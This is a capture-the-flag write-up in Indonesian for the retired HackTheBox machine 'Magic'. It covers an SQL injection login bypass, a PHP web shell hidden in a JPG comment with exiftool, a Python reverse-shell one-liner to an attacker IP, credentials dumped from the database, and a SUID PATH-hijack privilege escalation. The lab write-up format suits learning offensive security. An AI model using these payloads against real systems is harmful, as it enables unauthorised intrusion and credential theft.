hackthebox-machine-writeups

This repository contains writeups of retired HackTheBox's Machines that I've solved, new writeups will be uploaded once it is retired

View on GitHub

Magic (Linux)

Image

HackTheBox Magic dengan operating system Linux

Enumeration

Mari kita mulai dengan enumerasi port menggunakan nmap

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 06:d4:89:bf:51:f7:fc:0c:f9:08:5e:97:63:64:8d:ca (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClcZO7AyXva0myXqRYz5xgxJ8ljSW1c6xX0vzHxP/Qy024qtSuDeQIRZGYsIR+kyje39aNw6HHxdz50XSBSEcauPLDWbIYLUMM+a0smh7/pRjfA+vqHxEp7e5l9H7Nbb1dzQesANxa1glKsEmKi1N8Yg0QHX0/FciFt1rdES9Y4b3I3gse2mSAfdNWn4Apngnpy1tUbanZYdRtpvufqPWjzxUkFEnFIPrslKZoiQ+MLnp77DXfIm3PGjdhui0PBlkebTGbgo4+U44fniEweNJSkiaZW/CuKte0j/buSlBlnagzDl0meeT8EpBOPjk+F0v6Yr7heTuAZn75pO3l5RHX
|   256 11:a6:92:98:ce:35:40:c7:29:09:4f:6c:2d:74:aa:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOVyH7ButfnaTRJb0CdXzeCYFPEmm6nkSUd4d52dW6XybW9XjBanHE/FM4kZ7bJKFEOaLzF1lDizNQgiffGWWLQ=
|   256 71:05:99:1f:a8:1b:14:d6:03:85:53:f8:78:8e:cb:88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIE0dM4nfekm9dJWdTux9TqCyCGtW5rbmHfh/4v3NtTU1
80/tcp open  http    syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Magic Portfolio
Aggressive OS guesses: Linux 2.6.32 (95%), Linux 3.1 (94%), Linux 3.2 (94%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2 (92%), Linux 3.2 - 4.9 (92%)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=6/18%OT=22%CT=1%CU=32655%PV=Y%DS=2%DC=T%G=Y%TM=5EEBB19
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=109%TI=Z%CI=Z%TS=A)OPS(O1=M
OS:54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST11NW7%
OS:O6=M54DST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%
OS:DF=Y%T=40%W=FAF0%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=
OS:0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF
OS:=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=
OS:%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%
OS:IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)

Kita bisa melihat 2 port yang terbuka yaitu port 22 (SSH) dan 80 (HTTP).

Mari kita coba cek website yang sedang berjalan di port 80

Image

Sekilas tidak ada hal menarik di websitenya, namun di bagian kiri bawah terdapat tombol untuk menuju ke login page

Image

Penulis mencoba untuk menebak-nebak username dan password menggunakan kombinasi yang biasanya digunakan seperti admin:admin admin:password namun tidak ada yang berhasil, kemudian mencoba sekali lagi untuk menggunakan SQL Injection ternyata berhasil menggunakan teknil SQLi Tautology untuk bypass login.

Image

User

Penulis menemukan tempat untuk melakukan file upload, mari kita coba untuk upload file .php untuk mendapatkan reverse shell

Image

Sayangnya tempat file upload tadi cuma memperbolehkan file format JPG, JPEG, dan png (file-file gambar saja)

Terdapat banyak teknik dalam melewati pengecekan filetype dan menyelundupkan php code untuk di execute kemudian, seperti mengganti file header, menggunakan double extension, menambahkan byte magic number dan lain lain.

Pada kasus ini penulis akan menggunakan double extension dan menyelipkan payload php di bagian comment sebuah image file menggunakan tool bernama exiftool

exiftool -comment='<?php echo "<pre>";system($_GET['cmd']);?>' image.jpg

mv image.jpg > rcev2.php.jpg

Kenapa ada <pre> ? Biar lebih mudah dilihat output dari system nya, tidak tercampur2 dengan bytes dari jpg aslinya.

Upload rcev2.php.jpg

Image

Berhasil melakukan command ls, karena kita tahu RCE sudah berhasil dijalankan sekarang kita bisa menggunakan payload untuk membuat reverse shell kembali ke mesin lokal kita.

Python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.6",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Pada mesin ini penulis menyadari bahwa python2 tidak terinstall namun python3 tersedia

Berhasil mendapatkan reverse shell sebagai www-data

Setelah masuk, penulis melakukan enumerasi dan menemukan db.php

Image

Dari file db.php tadi kita mendapatkan username dan password

Theseus: iamkingtheseus

Kredensial diatas tidak bisa digunakan untuk login di SSH atau SU namun bisa digunakan untuk login di service mySQL

Walaupun binary file mySQL tidak ada, namun ternyata penulis menemukan mysqldump

Jadi mari kita coba saja command untuk melakukan dumping data dari database mysql

mysqldump -u theseus -p --all-databases 

Enter password: iamkingtheseus

Image

Dapat creds admin:Th3s3usW4sK1ng untuk su di terminal

Image

Root

Menggunakan enumeration script untuk linux seperti LinEnum.sh kita bisa menemukan binary SUID yang tidak biasanya ada, bernama sysinfo

-rwsr-x--- 1 root users 22040 Oct 21  2019 /bin/sysinfo

Binary ini sebenarnya menjalankan binary built in lainnya

Jadi kita akan menipu script yang running as root ini untuk menjalankan binary fdisk yang sudah kita modifikasi, dengan membuat custom binary yang isinya reverse shell payload dan kita rubah path variablenya ke tempat custom binary kita

Rooted !